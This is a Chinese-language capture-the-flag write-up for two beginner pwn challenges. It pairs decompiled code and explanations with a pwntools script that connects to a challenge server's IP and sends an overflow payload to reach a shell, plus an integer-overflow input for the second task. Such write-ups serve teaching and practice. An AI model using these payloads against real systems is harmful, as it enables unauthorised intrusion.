1、沒人能拒絕貓貓
ida看主函式
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[32]; // [rsp+0h] [rbp-50h] BYREF
_QWORD s2[6]; // [rsp+20h] [rbp-30h] BYREF
s2[5] = __readfsqword(0x28u);
init();
puts(" __ __,");
...
puts(" `'-'`");
s2[0] = 'tacetah';
puts("Do you love cat? (lovecat/hatecat)");
read(0, buf, 0x28uLL);
if ( !strcmp("lovecat", (const char *)s2) )
{
puts("Nice choice!\n");
system("/bin/sh");
}
else
{
puts("Everyone have their own choice.\n");
puts("My choice is you have no flag^^");
}
return 0;
}
發現!strcmp("lovecat", (const char *)s2)
,只要s2和lovecat一致,就可以讓條件為真,執行system命令
來自豆包:
程式碼中定義的 buf 陣列大小為 32 位元組,然而卻嘗試從標準輸入讀取 40 位元組(0x28 換算為十進位制是 40)的資料,這就導致了緩衝區溢位情況。
緩衝區溢位是指程式執行時,向固定大小的緩衝區寫入超過其容量的資料,多餘的資料會越過緩衝區的邊界覆蓋相鄰記憶體空間,從而造成溢位。
程式碼將單個字元 'tacetah' 賦給 s2[0],不符合正常的字串賦值邏輯(C 語言字串是以 \0 結尾的字元序列),但在比較時卻把 s2 當作字串來和 "lovecat" 比較。這意味著攻擊者可以透過緩衝區溢位,嘗試去修改 s2 陣列對應的記憶體區域,使其內容能匹配 "lovecat",進而使 strcmp 返回 0,滿足條件判斷進入期望的執行分支。
因此可以構造資料來篡改記憶體,使用AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlovecat\0
來篡改
由於存在緩衝區溢位,我們需要構造一個長度合適且包含關鍵內容的輸入字串。輸入字串總長度要達到 40 位元組(因為 read 函式會讀取這麼多位元組),前 32 位元組可以隨意填充(通常填充一些無意義字元即可,比如 A 的重複),後面緊跟著要寫入 lovecat\0 (確保以 \0 結尾符合字串格式要求)來覆蓋 s2 陣列對應的記憶體區域,使得 strcmp 函式認為 s2 指向的內容和 "lovecat" 相等。(定義的時候buf陣列和s2陣列是相鄰的)例如,構造的輸入字串可以是:
exp如下:
from pwn import *
p=remote("1.95.36.136",2058)
p.sendline('a'*32+'lovecat\0')
p.interactive()
得到flag
擴充:危險函式
C標準庫中和字串操作有關的函式,像strcpy、strcat、sprintf、gets等函式中,陣列和指標都沒有自動進行邊界檢查,因此很容易引發緩衝區溢位漏洞
2、easypwn2
國際慣例看程式碼
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
init(argc, argv, envp);
puts("**********************************");
...
puts("**********************************");
__isoc99_scanf("%16s", s);
if ( strchr(s, 45) )
return 0;
if ( atoi(s) < 0 )
vuln();
return 0;
}
其中vuln()
函式可以執行cat flag
,因此只要能夠執行vuln函式就可以獲得flag
注意到兩個判斷函式:
第一個:ASCII碼45轉換成字元是-(負號),說明程式試圖過濾掉輸入的負號
第二個:在C語言中,atoi函式會從字串開頭開始解析,遇到非數字字元就停止解析,將前面解析出來的數字部分轉換為對應的整數值。因此可以得出:只要輸入一個負數就可以執行vuln()
既然負號被過濾了,就只能用另一種方法輸入負數
可以想到int上限是2147483647,超過這個數字就會變成負數,因此只需要輸入2147483648就可以獲得flag
獲得flag